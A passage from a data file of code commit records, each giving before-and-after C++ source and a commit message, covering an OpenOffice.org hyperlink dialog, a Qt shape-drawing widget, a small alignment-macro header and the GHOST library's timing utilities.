modified\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, ModifiedPathHdl_Impl, void *, EMPTYARG )\n{\n maStrURL = GetCurrentURL();\n\n maTimer.SetTimeout( 2500 );\n maTimer.Start();\n\n maFtFullURL.SetText( maStrURL );\n\n return( 0L );\n}\n\n\/*************************************************************************\n|*\n|* If path-field was modify, to browse the new doc after timeout\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, TimeoutHdl_Impl, Timer *, EMPTYARG )\n{\n if ( IsMarkWndVisible() && ( GetPathType( maStrURL )==Type_ExistsFile ||\n maStrURL == aEmptyStr ||\n maStrURL.EqualsIgnoreCaseAscii( sFileScheme ) ) )\n {\n EnterWait();\n\n if ( maStrURL.EqualsIgnoreCaseAscii( sFileScheme ) ||\n maStrURL.EqualsIgnoreCaseAscii( sPortalFileScheme ) )\n mpMarkWnd->RefreshTree ( aEmptyStr );\n else\n mpMarkWnd->RefreshTree ( maStrURL );\n\n LeaveWait();\n }\n\n return( 0L );\n}\n\n\/*************************************************************************\n|*\n|* Contens of editfield \"Target\" modified\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, ModifiedTargetHdl_Impl, void *, EMPTYARG )\n{\n maStrURL = GetCurrentURL();\n\n if ( IsMarkWndVisible() )\n mpMarkWnd->SelectEntry ( maEdTarget.GetText() );\n\n maFtFullURL.SetText( maStrURL );\n\n return( 0L );\n}\n\n\/*************************************************************************\n|*\n|* editfield \"Target\" lost focus\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, LostFocusPathHdl_Impl, void *, EMPTYARG )\n{\n maStrURL = GetCurrentURL();\n\n maFtFullURL.SetText( maStrURL );\n\n return (0L);\n}\n\n\/*************************************************************************\n|*\n|* Get String from Bookmark-Wnd\n|*\n|************************************************************************\/\n\nvoid SvxHyperlinkDocTp::SetMarkStr ( String& aStrMark )\n{\n maEdTarget.SetText ( aStrMark );\n\n ModifiedTargetHdl_Impl ( NULL );\n}\n\n\/*************************************************************************\n|*\n|* retrieve kind of pathstr\n|*\n|************************************************************************\/\n\nSvxHyperlinkDocTp::EPathType SvxHyperlinkDocTp::GetPathType ( String& aStrPath )\n{\n INetURLObject aURL( aStrPath, INET_PROT_FILE );\n\n if( aURL.HasError() )\n return Type_Invalid;\n else\n return Type_ExistsFile;\n}\n<commit_msg>#161490# removed scheme vnd.sun.star.wfs<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: hldoctp.cxx,v $\n * $Revision: 1.28 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_cui.hxx\"\n\n#include \"cuihyperdlg.hxx\"\n#include <unotools\/localfilehelper.hxx>\n#include <sfx2\/filedlghelper.hxx>\n#include \"com\/sun\/star\/ui\/dialogs\/TemplateDescription.hpp\"\n\n#include \"hldoctp.hxx\"\n#include \"hyperdlg.hrc\"\n#include \"hlmarkwn_def.hxx\" \/\/ADD CHINA001\n\nsal_Char __READONLY_DATA sHash[] = \"#\";\nsal_Char __READONLY_DATA sFileScheme[] = INET_FILE_SCHEME;\nsal_Char __READONLY_DATA sNewsSRVScheme[] = \"news:\/\/\";\n \/\/ TODO news:\/\/ is nonsense\nsal_Char __READONLY_DATA sHTTPScheme[] = INET_HTTP_SCHEME;\n\n\/*************************************************************************\n|*\n|* Contructor \/ Destructor\n|*\n|************************************************************************\/\n\nSvxHyperlinkDocTp::SvxHyperlinkDocTp ( Window *pParent, const SfxItemSet& rItemSet)\n : SvxHyperlinkTabPageBase ( pParent, CUI_RES( RID_SVXPAGE_HYPERLINK_DOCUMENT ), rItemSet ),\n maGrpDocument ( this, CUI_RES (GRP_DOCUMENT) ),\n maFtPath ( this, CUI_RES (FT_PATH_DOC) ),\n maCbbPath ( this, INET_PROT_FILE ),\n maBtFileopen ( this, CUI_RES (BTN_FILEOPEN) ),\n maGrpTarget ( this, CUI_RES (GRP_TARGET) ),\n maFtTarget ( this, CUI_RES (FT_TARGET_DOC) ),\n maEdTarget ( this, CUI_RES (ED_TARGET_DOC) ),\n maFtURL ( this, CUI_RES (FT_URL) ),\n maFtFullURL ( this, CUI_RES (FT_FULL_URL) ),\n maBtBrowse ( this, CUI_RES (BTN_BROWSE) ),\n mbMarkWndOpen ( FALSE )\n{\n \/\/ Set HC bitmaps and disable display of bitmap names.\n maBtBrowse.SetModeImage( Image( CUI_RES( IMG_BROWSE_HC ) ), BMP_COLOR_HIGHCONTRAST );\n maBtBrowse.EnableTextDisplay (FALSE);\n maBtFileopen.SetModeImage( Image( CUI_RES( IMG_FILEOPEN_HC ) ), BMP_COLOR_HIGHCONTRAST );\n maBtFileopen.EnableTextDisplay (FALSE);\n\n InitStdControls();\n FreeResource();\n\n \/\/ Init URL-Box (pos&size, Open-Handler)\n maCbbPath.SetPosSizePixel ( LogicToPixel( Point( COL_2, 15 ), MAP_APPFONT ),\n LogicToPixel( Size ( 176 - COL_DIFF, 60), MAP_APPFONT ) );\n maCbbPath.Show();\n String aFileScheme( INET_FILE_SCHEME, RTL_TEXTENCODING_ASCII_US );\n maCbbPath.SetBaseURL(aFileScheme);\n maCbbPath.SetHelpId( HID_HYPERDLG_DOC_PATH );\n\n SetExchangeSupport ();\n\n \/\/ overload handlers\n maBtFileopen.SetClickHdl ( LINK ( this, SvxHyperlinkDocTp, ClickFileopenHdl_Impl ) );\n maBtBrowse.SetClickHdl ( LINK ( this, SvxHyperlinkDocTp, ClickTargetHdl_Impl ) );\n maCbbPath.SetModifyHdl ( LINK ( this, SvxHyperlinkDocTp, ModifiedPathHdl_Impl ) );\n maEdTarget.SetModifyHdl ( LINK ( this, SvxHyperlinkDocTp, ModifiedTargetHdl_Impl ) );\n\n maCbbPath.SetLoseFocusHdl( LINK ( this, SvxHyperlinkDocTp, LostFocusPathHdl_Impl ) );\n\n maTimer.SetTimeoutHdl ( LINK ( this, SvxHyperlinkDocTp, TimeoutHdl_Impl ) );\n}\n\nSvxHyperlinkDocTp::~SvxHyperlinkDocTp ()\n{\n}\n\n\/*************************************************************************\n|*\n|* Fill all dialog-controls except controls in groupbox \"more...\"\n|*\n|************************************************************************\/\n\nvoid SvxHyperlinkDocTp::FillDlgFields ( String& aStrURL )\n{\n INetURLObject aURL ( aStrURL );\n\n String aStrMark;\n xub_StrLen nPos = aStrURL.SearchAscii( sHash );\n \/\/ path\n maCbbPath.SetText ( aStrURL.Copy( 0, ( nPos == STRING_NOTFOUND ? aStrURL.Len() : nPos ) ) );\n\n \/\/ set target in document at editfield\n if ( nPos != STRING_NOTFOUND && nPos<aStrURL.Len()-1 )\n aStrMark = aStrURL.Copy( nPos+1, aStrURL.Len() );\n maEdTarget.SetText ( aStrMark );\n\n ModifiedPathHdl_Impl ( NULL );\n}\n\n\/*************************************************************************\n|*\n|* retrieve current url-string\n|*\n|************************************************************************\/\n\nString SvxHyperlinkDocTp::GetCurrentURL ()\n{\n \/\/ get data from dialog-controls\n String aStrURL;\n String aStrPath ( maCbbPath.GetText() );\n const String aBaseURL ( maCbbPath.GetBaseURL() );\n String aStrMark( maEdTarget.GetText() );\n\n if ( aStrPath != aEmptyStr )\n {\n INetURLObject aURL( aStrPath );\n if ( aURL.GetProtocol() != INET_PROT_NOT_VALID ) \/\/ maybe the path is already a valid\n aStrURL = aStrPath; \/\/ hyperlink, then we can use this path directly\n else\n utl::LocalFileHelper::ConvertSystemPathToURL( aStrPath, aBaseURL, aStrURL );\n\n \/\/#105788# always create a URL even if it is not valid\n if( aStrURL == aEmptyStr )\n aStrURL = aStrPath;\n }\n\n if( aStrMark != aEmptyStr )\n {\n aStrURL.AppendAscii( sHash );\n aStrURL += aStrMark;\n }\n\n return aStrURL;\n}\n\n\/*************************************************************************\n|*\n|* retrieve and prepare data from dialog-fields\n|*\n|************************************************************************\/\n\nvoid SvxHyperlinkDocTp::GetCurentItemData ( String& aStrURL, String& aStrName,\n String& aStrIntName, String& aStrFrame,\n SvxLinkInsertMode& eMode )\n{\n \/\/ get data from standard-fields\n aStrURL = GetCurrentURL();\n\n if( aStrURL.EqualsIgnoreCaseAscii( sFileScheme ) )\n aStrURL=aEmptyStr;\n\n GetDataFromCommonFields( aStrName, aStrIntName, aStrFrame, eMode );\n}\n\n\/*************************************************************************\n|*\n|* static method to create Tabpage\n|*\n|************************************************************************\/\n\nIconChoicePage* SvxHyperlinkDocTp::Create( Window* pWindow, const SfxItemSet& rItemSet )\n{\n return( new SvxHyperlinkDocTp( pWindow, rItemSet ) );\n}\n\n\/*************************************************************************\n|*\n|* Set initial focus\n|*\n|************************************************************************\/\n\nvoid SvxHyperlinkDocTp::SetInitFocus()\n{\n maCbbPath.GrabFocus();\n}\n\n\/*************************************************************************\n|*\n|* Click on imagebutton : fileopen\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, ClickFileopenHdl_Impl, void *, EMPTYARG )\n{\n \/\/ Open Fileopen-Dialog\n ::sfx2::FileDialogHelper aDlg(\n com::sun::star::ui::dialogs::TemplateDescription::FILEOPEN_SIMPLE, 0,\n GetParent() );\n String aOldURL( GetCurrentURL() );\n if( aOldURL.EqualsIgnoreCaseAscii( sFileScheme, 0, sizeof( sFileScheme ) - 1 ) )\n {\n aDlg.SetDisplayDirectory( aOldURL );\n }\n\n DisableClose( sal_True );\n ErrCode nError = aDlg.Execute();\n DisableClose( sal_False );\n\n if ( ERRCODE_NONE == nError )\n {\n String aURL( aDlg.GetPath() );\n String aPath;\n\n utl::LocalFileHelper::ConvertURLToSystemPath( aURL, aPath );\n\n maCbbPath.SetBaseURL( aURL );\n maCbbPath.SetText( aPath );\n\n if ( aOldURL != GetCurrentURL() )\n ModifiedPathHdl_Impl (NULL);\n }\n\n return( 0L );\n}\n\n\/*************************************************************************\n|*\n|* Click on imagebutton : target\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, ClickTargetHdl_Impl, void *, EMPTYARG )\n{\n if ( GetPathType ( maStrURL ) == Type_ExistsFile ||\n maStrURL == aEmptyStr ||\n maStrURL.EqualsIgnoreCaseAscii( sFileScheme ) ||\n maStrURL.SearchAscii( sHash ) == 0 )\n {\n mpMarkWnd->SetError( LERR_NOERROR );\n\n EnterWait();\n\n if ( maStrURL.EqualsIgnoreCaseAscii( sFileScheme ) )\n mpMarkWnd->RefreshTree ( aEmptyStr );\n else\n mpMarkWnd->RefreshTree ( maStrURL );\n\n LeaveWait();\n }\n else\n mpMarkWnd->SetError( LERR_DOCNOTOPEN );\n\n ShowMarkWnd ();\n\n return( 0L );\n}\n\n\/*************************************************************************\n|*\n|* Contens of combobox \"Path\" modified\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, ModifiedPathHdl_Impl, void *, EMPTYARG )\n{\n maStrURL = GetCurrentURL();\n\n maTimer.SetTimeout( 2500 );\n maTimer.Start();\n\n maFtFullURL.SetText( maStrURL );\n\n return( 0L );\n}\n\n\/*************************************************************************\n|*\n|* If path-field was modify, to browse the new doc after timeout\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, TimeoutHdl_Impl, Timer *, EMPTYARG )\n{\n if ( IsMarkWndVisible() && ( GetPathType( maStrURL )==Type_ExistsFile ||\n maStrURL == aEmptyStr ||\n maStrURL.EqualsIgnoreCaseAscii( sFileScheme ) ) )\n {\n EnterWait();\n\n if ( maStrURL.EqualsIgnoreCaseAscii( sFileScheme ) )\n mpMarkWnd->RefreshTree ( aEmptyStr );\n else\n mpMarkWnd->RefreshTree ( maStrURL );\n\n LeaveWait();\n }\n\n return( 0L );\n}\n\n\/*************************************************************************\n|*\n|* Contens of editfield \"Target\" modified\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, ModifiedTargetHdl_Impl, void *, EMPTYARG )\n{\n maStrURL = GetCurrentURL();\n\n if ( IsMarkWndVisible() )\n mpMarkWnd->SelectEntry ( maEdTarget.GetText() );\n\n maFtFullURL.SetText( maStrURL );\n\n return( 0L );\n}\n\n\/*************************************************************************\n|*\n|* editfield \"Target\" lost focus\n|*\n|************************************************************************\/\n\nIMPL_LINK ( SvxHyperlinkDocTp, LostFocusPathHdl_Impl, void *, EMPTYARG )\n{\n maStrURL = GetCurrentURL();\n\n maFtFullURL.SetText( maStrURL );\n\n return (0L);\n}\n\n\/*************************************************************************\n|*\n|* Get String from Bookmark-Wnd\n|*\n|************************************************************************\/\n\nvoid SvxHyperlinkDocTp::SetMarkStr ( String& aStrMark )\n{\n maEdTarget.SetText ( aStrMark );\n\n ModifiedTargetHdl_Impl ( NULL );\n}\n\n\/*************************************************************************\n|*\n|* retrieve kind of pathstr\n|*\n|************************************************************************\/\n\nSvxHyperlinkDocTp::EPathType SvxHyperlinkDocTp::GetPathType ( String& aStrPath )\n{\n INetURLObject aURL( aStrPath, INET_PROT_FILE );\n\n if( aURL.HasError() )\n return Type_Invalid;\n else\n return Type_ExistsFile;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <algorithm>\n\n#include \"ParamRenderArea.h\"\n\n#include <QPainter>\n#include <QKeyEvent>\n#include <iostream>\n\nParamRenderArea::ParamRenderArea(const QPainterPath &path, QWidget *parent)\n : QWidget(parent), path(path) {\n penWidth = 0.1f;\n rotationAngle = 0;\n offset.setX(50);\n offset.setY(50);\n triangulation = std::vector<ParameterTriangle *>();\n setBackgroundRole(QPalette::Base);\n std::random_shuffle(colors.begin(), colors.end());\n}\n\nQSize ParamRenderArea::minimumSizeHint() const {\n return QSize(50, 50);\n}\n\nQSize ParamRenderArea::sizeHint() const {\n return QSize(100, 100);\n}\n\nvoid ParamRenderArea::setPenWidth(float width) {\n penWidth = width;\n update();\n}\n\nvoid ParamRenderArea::setPenColor(const QColor &color) {\n penColor = color;\n update();\n}\n\nvoid ParamRenderArea::paintEvent(QPaintEvent *) {\n QPainter painter(this);\n painter.setRenderHint(QPainter::Antialiasing);\n painter.scale(width() \/ 100.0, height() \/ 100.0);\n painter.translate(offset);\n painter.rotate(-rotationAngle);\n painter.translate(-offset);\n painter.setPen(QPen(penColor, penWidth, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n\n int colorID = 0;\n \/\/ draw all outer shapes\n for (QPainterPath p : outerShapes) {\n QLinearGradient g(0, 0, 0, 100);\n g.setColorAt(0.0, colors.at(colorID));\n g.setColorAt(1.0, colors.at(colorID));\n painter.setBrush(g);\n painter.drawPath(p);\n colorID = (colorID + 1) % colors.size();\n }\n \/\/ draw all inner shapes\n for (QPainterPath p : innerShapes) {\n QLinearGradient g(0, 0, 0, 100);\n g.setColorAt(0.0, colors.at(colorID));\n g.setColorAt(1.0, colors.at(colorID));\n painter.setBrush(g);\n painter.drawPath(p);\n colorID = (colorID + 1) % colors.size();\n }\n \/\/ draw current path\n QLinearGradient gradient(0, 0, 0, 100);\n gradient.setColorAt(0.0, colors.at(colorID));\n gradient.setColorAt(1.0, colors.at(colorID));\n painter.setBrush(gradient);\n painter.drawPath(path);\n\n \/\/ draw parameter triangulation\n QPainter trip(this);\n trip.setRenderHint(QPainter::Antialiasing);\n trip.scale(width() \/ 100.0, height() \/ 100.0);\n trip.translate(offset);\n trip.rotate(-rotationAngle);\n trip.translate(-offset);\n trip.setPen(QPen(Qt::black, 1.0f * penWidth, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n for (ParameterTriangle *t : triangulation) {\n QPainterPath tP;\n tP.moveTo(denormalize(t->getPoint(0)));\n tP.lineTo(denormalize(t->getPoint(1)));\n tP.lineTo(denormalize(t->getPoint(2)));\n tP.lineTo(denormalize(t->getPoint(0)));\n trip.drawPath(tP);\n }\n}\n\nvoid ParamRenderArea::mousePressEvent(QMouseEvent *event) {\n QPointF pos = convertPos(event);\n if (event->button() == Qt::RightButton) {\n QList<QPointF> shape;\n std::copy(waypoints.begin(), waypoints.end(), std::back_inserter(shape));\n path = QPainterPath();\n waypoints.clear();\n } else {\n waypoints.push_back(pos);\n path = QPainterPath();\n path.moveTo(waypoints[0]);\n for (int i = 1; i < waypoints.size(); ++i) {\n path.lineTo(waypoints[i]);\n }\n path.closeSubpath();\n }\n update();\n}\n\nQPointF ParamRenderArea::convertPos(QMouseEvent *e) {\n return QPointF(100 * e->x() \/ width(), 100 * e->y() \/ height());\n}\n\nQList<QList<QPointF> > ParamRenderArea::getShapes() {\n return shapeList;\n}\n\nvoid ParamRenderArea::setShapeType(ShapeType type) {\n currentType = type;\n}\n\nvoid ParamRenderArea::keyPressEvent(QKeyEvent *event) {\n switch (event->key()) {\n case Qt::Key_Backspace:\n removeLastWaypoint();\n break;\n case Qt::Key_Return:\n saveCurrentShape();\n break;\n default:\n break;\n }\n}\n\nvoid ParamRenderArea::removeLastWaypoint() {\n if (!waypoints.empty()) {\n waypoints.pop_back();\n }\n if (!waypoints.empty()) {\n path = QPainterPath();\n path.moveTo(waypoints[0]);\n for (int i = 1; i < waypoints.size(); ++i) {\n path.lineTo(waypoints[i]);\n }\n path.closeSubpath();\n }\n update();\n}\n\nvoid ParamRenderArea::saveCurrentShape() {\n QPainterPath p;\n if (!waypoints.empty()) {\n p.moveTo(waypoints[0]);\n for (int i = 1; i < waypoints.size(); ++i) {\n p.lineTo(waypoints[i]);\n }\n p.closeSubpath();\n }\n QList<QPointF> wp;\n for (QPointF po : waypoints) {\n wp.push_back(po);\n }\n shapeList.append(wp);\n waypoints.clear();\n switch (currentType) {\n case ShapeType::INNER:\n innerShapes.append(p);\n break;\n case ShapeType::OUTER:\n outerShapes.append(p);\n break;\n default:\n break;\n }\n}\n\nvoid ParamRenderArea::clearShapes() {\n innerShapes.clear();\n outerShapes.clear();\n waypoints.clear();\n update();\n}\n\nvoid ParamRenderArea::mouseDoubleClickEvent(QMouseEvent *event) {\n if (event->button() == Qt::LeftButton) {\n removeLastWaypoint(); \/\/ undo first click\n removeLastWaypoint(); \/\/ undo second click\n }\n}\n\nvoid ParamRenderArea::drawTriangulation(std::vector<ParameterTriangle *> triangulation_) {\n triangulation = triangulation_;\n update();\n}\n\nQPointF ParamRenderArea::denormalize(QVector2D v) {\n return QPointF(100.0f * v.x(), 100.0f - 100.f * v.y());\n}\n\n\n<commit_msg>Removing double clicking things.<commit_after>#include <algorithm>\n\n#include \"ParamRenderArea.h\"\n\n#include <QPainter>\n#include <QKeyEvent>\n#include <iostream>\n\nParamRenderArea::ParamRenderArea(const QPainterPath &path, QWidget *parent)\n : QWidget(parent), path(path) {\n penWidth = 0.1f;\n rotationAngle = 0;\n offset.setX(50);\n offset.setY(50);\n triangulation = std::vector<ParameterTriangle *>();\n setBackgroundRole(QPalette::Base);\n std::random_shuffle(colors.begin(), colors.end());\n}\n\nQSize ParamRenderArea::minimumSizeHint() const {\n return QSize(50, 50);\n}\n\nQSize ParamRenderArea::sizeHint() const {\n return QSize(100, 100);\n}\n\nvoid ParamRenderArea::setPenWidth(float width) {\n penWidth = width;\n update();\n}\n\nvoid ParamRenderArea::setPenColor(const QColor &color) {\n penColor = color;\n update();\n}\n\nvoid ParamRenderArea::paintEvent(QPaintEvent *) {\n QPainter painter(this);\n painter.setRenderHint(QPainter::Antialiasing);\n painter.scale(width() \/ 100.0, height() \/ 100.0);\n painter.translate(offset);\n painter.rotate(-rotationAngle);\n painter.translate(-offset);\n painter.setPen(QPen(penColor, penWidth, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n\n int colorID = 0;\n \/\/ draw all outer shapes\n for (QPainterPath p : outerShapes) {\n QLinearGradient g(0, 0, 0, 100);\n g.setColorAt(0.0, colors.at(colorID));\n g.setColorAt(1.0, colors.at(colorID));\n painter.setBrush(g);\n painter.drawPath(p);\n colorID = (colorID + 1) % colors.size();\n }\n \/\/ draw all inner shapes\n for (QPainterPath p : innerShapes) {\n QLinearGradient g(0, 0, 0, 100);\n g.setColorAt(0.0, colors.at(colorID));\n g.setColorAt(1.0, colors.at(colorID));\n painter.setBrush(g);\n painter.drawPath(p);\n colorID = (colorID + 1) % colors.size();\n }\n \/\/ draw current path\n QLinearGradient gradient(0, 0, 0, 100);\n gradient.setColorAt(0.0, colors.at(colorID));\n gradient.setColorAt(1.0, colors.at(colorID));\n painter.setBrush(gradient);\n painter.drawPath(path);\n\n \/\/ draw parameter triangulation\n QPainter trip(this);\n trip.setRenderHint(QPainter::Antialiasing);\n trip.scale(width() \/ 100.0, height() \/ 100.0);\n trip.translate(offset);\n trip.rotate(-rotationAngle);\n trip.translate(-offset);\n trip.setPen(QPen(Qt::black, 1.0f * penWidth, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n for (ParameterTriangle *t : triangulation) {\n QPainterPath tP;\n tP.moveTo(denormalize(t->getPoint(0)));\n tP.lineTo(denormalize(t->getPoint(1)));\n tP.lineTo(denormalize(t->getPoint(2)));\n tP.lineTo(denormalize(t->getPoint(0)));\n trip.drawPath(tP);\n }\n}\n\nvoid ParamRenderArea::mousePressEvent(QMouseEvent *event) {\n QPointF pos = convertPos(event);\n if (event->button() == Qt::RightButton) {\n QList<QPointF> shape;\n std::copy(waypoints.begin(), waypoints.end(), std::back_inserter(shape));\n path = QPainterPath();\n waypoints.clear();\n } else {\n waypoints.push_back(pos);\n path = QPainterPath();\n path.moveTo(waypoints[0]);\n for (int i = 1; i < waypoints.size(); ++i) {\n path.lineTo(waypoints[i]);\n }\n path.closeSubpath();\n }\n update();\n}\n\nQPointF ParamRenderArea::convertPos(QMouseEvent *e) {\n return QPointF(100 * e->x() \/ width(), 100 * e->y() \/ height());\n}\n\nQList<QList<QPointF> > ParamRenderArea::getShapes() {\n return shapeList;\n}\n\nvoid ParamRenderArea::setShapeType(ShapeType type) {\n currentType = type;\n}\n\nvoid ParamRenderArea::keyPressEvent(QKeyEvent *event) {\n switch (event->key()) {\n case Qt::Key_Backspace:\n removeLastWaypoint();\n break;\n case Qt::Key_Return:\n saveCurrentShape();\n break;\n default:\n break;\n }\n}\n\nvoid ParamRenderArea::removeLastWaypoint() {\n if (!waypoints.empty()) {\n waypoints.pop_back();\n }\n if (!waypoints.empty()) {\n path = QPainterPath();\n path.moveTo(waypoints[0]);\n for (int i = 1; i < waypoints.size(); ++i) {\n path.lineTo(waypoints[i]);\n }\n path.closeSubpath();\n }\n update();\n}\n\nvoid ParamRenderArea::saveCurrentShape() {\n QPainterPath p;\n if (!waypoints.empty()) {\n p.moveTo(waypoints[0]);\n for (int i = 1; i < waypoints.size(); ++i) {\n p.lineTo(waypoints[i]);\n }\n p.closeSubpath();\n }\n QList<QPointF> wp;\n for (QPointF po : waypoints) {\n wp.push_back(po);\n }\n shapeList.append(wp);\n waypoints.clear();\n switch (currentType) {\n case ShapeType::INNER:\n innerShapes.append(p);\n break;\n case ShapeType::OUTER:\n outerShapes.append(p);\n break;\n default:\n break;\n }\n}\n\nvoid ParamRenderArea::clearShapes() {\n innerShapes.clear();\n outerShapes.clear();\n waypoints.clear();\n update();\n}\n\nvoid ParamRenderArea::mouseDoubleClickEvent(QMouseEvent *event) {\n\/\/ if (event->button() == Qt::LeftButton) {\n\/\/ removeLastWaypoint(); \/\/ undo first click\n\/\/ removeLastWaypoint(); \/\/ undo second click\n\/\/ }\n}\n\nvoid ParamRenderArea::drawTriangulation(std::vector<ParameterTriangle *> triangulation_) {\n triangulation = triangulation_;\n update();\n}\n\nQPointF ParamRenderArea::denormalize(QVector2D v) {\n return QPointF(100.0f * v.x(), 100.0f - 100.f * v.y());\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2015 - 2018 gtalent2@gmail.com\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#pragma once\n\n#ifdef OX_USE_STDLIB\n#include <cstddef>\n#else\n#define offsetof(type, member) __builtin_offsetof(type, member)\n#endif\n\n#ifdef _MSC_VER\n#define OX_PACKED\n#else\n#define OX_PACKED __attribute__((packed))\n#endif\n<commit_msg>[ox\/std] Add OX_ALIGN4<commit_after>\/*\n * Copyright 2015 - 2018 gtalent2@gmail.com\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#pragma once\n\n#ifdef OX_USE_STDLIB\n#include <cstddef>\n#else\n#define offsetof(type, member) __builtin_offsetof(type, member)\n#endif\n\n#ifdef _MSC_VER\n#define OX_PACKED\n#else\n#define OX_PACKED __attribute__((packed))\n#endif\n\n#ifdef _MSC_VER\n#define OX_ALIGN4\n#else\n#define OX_ALIGN4 __attribute__((aligned(4)))\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"ghost\/timing.h\"\n#include \"ghost\/util.h\"\n\n#include <map>\n#include <vector>\n#include <sstream>\n#include <iostream>\n#include <iomanip>\n#include <numeric>\n#include <algorithm>\n\nusing namespace std;\n\n\/**\n * @brief Region timing accumulator\n *\/\ntypedef struct\n{\n \/**\n * @brief The runtimes of this region.\n *\/\n vector<double> times;\n \/**\n * @brief The last start time of this region.\n *\/\n double start;\n} \nghost_timing_region_accu_t;\n\nstatic map<string,ghost_timing_region_accu_t> timings;\n\nvoid ghost_timing_tick(char *tag) \n{\n double start;\n ghost_timing_wc(&start);\n timings[tag].start = start;\n}\n\nvoid ghost_timing_tock(char *tag) \n{\n double end;\n ghost_timing_wc(&end);\n ghost_timing_region_accu_t *ti = &timings[string(tag)];\n ti->times.push_back(end-ti->start);\n}\n\nghost_error_t ghost_timing_region_create(ghost_timing_region_t ** ri, char *tag)\n{\n ghost_timing_region_accu_t ti;\n if (!timings.count(string(tag))) {\n ERROR_LOG(\"The region %s does not exist!\",tag);\n return GHOST_ERR_INVALID_ARG;\n }\n ti = timings[string(tag)];\n\n ghost_error_t ret = GHOST_SUCCESS;\n GHOST_CALL_GOTO(ghost_malloc((void **)ri,sizeof(ghost_timing_region_t)),err,ret);\n (*ri)->nCalls = ti.times.size();\n (*ri)->minTime = *min_element(ti.times.begin(),ti.times.end());\n (*ri)->maxTime = *max_element(ti.times.begin(),ti.times.end());\n (*ri)->avgTime = accumulate(ti.times.begin(),ti.times.end(),0.)\/(*ri)->nCalls;\n\n GHOST_CALL_GOTO(ghost_malloc((void **)(&((*ri)->times)),sizeof(double)*(*ri)->nCalls),err,ret);\n memcpy((*ri)->times,&ti.times[0],(*ri)->nCalls*sizeof(double));\n\n goto out;\n\nerr:\n ERROR_LOG(\"Freeing region info\");\n if (*ri) {\n free((*ri)->times); (*ri)->times = NULL;\n }\n free(*ri); (*ri) = NULL;\nout:\n\n return ret;\n}\n\nvoid ghost_timing_region_destroy(ghost_timing_region_t * ri)\n{\n if (ri) {\n free(ri->times); ri->times = NULL;\n }\n free(ri);\n}\n\n\nghost_error_t ghost_timing_summarystring(char **str)\n{\n stringstream buffer;\n map<string,ghost_timing_region_accu_t>::iterator iter;\n\n \n size_t maxRegionLen = 0;\n size_t maxCallsLen = 0;\n \n stringstream tmp;\n for (iter = timings.begin(); iter != timings.end(); ++iter) {\n tmp << iter->first.length();\n maxRegionLen = max(iter->first.length(),maxRegionLen);\n tmp.str(\"\");\n\n tmp << iter->second.times.size();\n maxCallsLen = max(maxCallsLen,tmp.str().length());\n tmp.str(\"\");\n }\n if (maxCallsLen < 5) {\n maxCallsLen = 5;\n }\n\n buffer << left << setw(maxRegionLen) << \"Region\" << right << \" | \";\n buffer << setw(maxCallsLen+3) << \"Calls | \";\n buffer << \" t_min | \";\n buffer << \" t_max | \";\n buffer << \" t_avg\" << endl;\n buffer << string(maxRegionLen+maxCallsLen+3+3*11,'-') << endl;\n\n buffer.precision(2);\n for (iter = timings.begin(); iter != timings.end(); ++iter) {\n buffer << scientific << left << setw(maxRegionLen) << iter->first << \" | \" << \n right << setw(maxCallsLen) << iter->second.times.size() << \" | \" <<\n *min_element(iter->second.times.begin(),iter->second.times.end()) << \" | \" <<\n *max_element(iter->second.times.begin(),iter->second.times.end()) << \" | \" <<\n accumulate(iter->second.times.begin(),iter->second.times.end(),0.)\/iter->second.times.size() << endl;\n }\n\n\n\n GHOST_CALL_RETURN(ghost_malloc((void **)str,buffer.str().length()+1));\n strcpy(*str,buffer.str().c_str());\n\n return GHOST_SUCCESS;\n}\n<commit_msg>print total time in timing summary<commit_after>#include \"ghost\/timing.h\"\n#include \"ghost\/util.h\"\n\n#include <map>\n#include <vector>\n#include <sstream>\n#include <iostream>\n#include <iomanip>\n#include <numeric>\n#include <algorithm>\n\nusing namespace std;\n\n\/**\n * @brief Region timing accumulator\n *\/\ntypedef struct\n{\n \/**\n * @brief The runtimes of this region.\n *\/\n vector<double> times;\n \/**\n * @brief The last start time of this 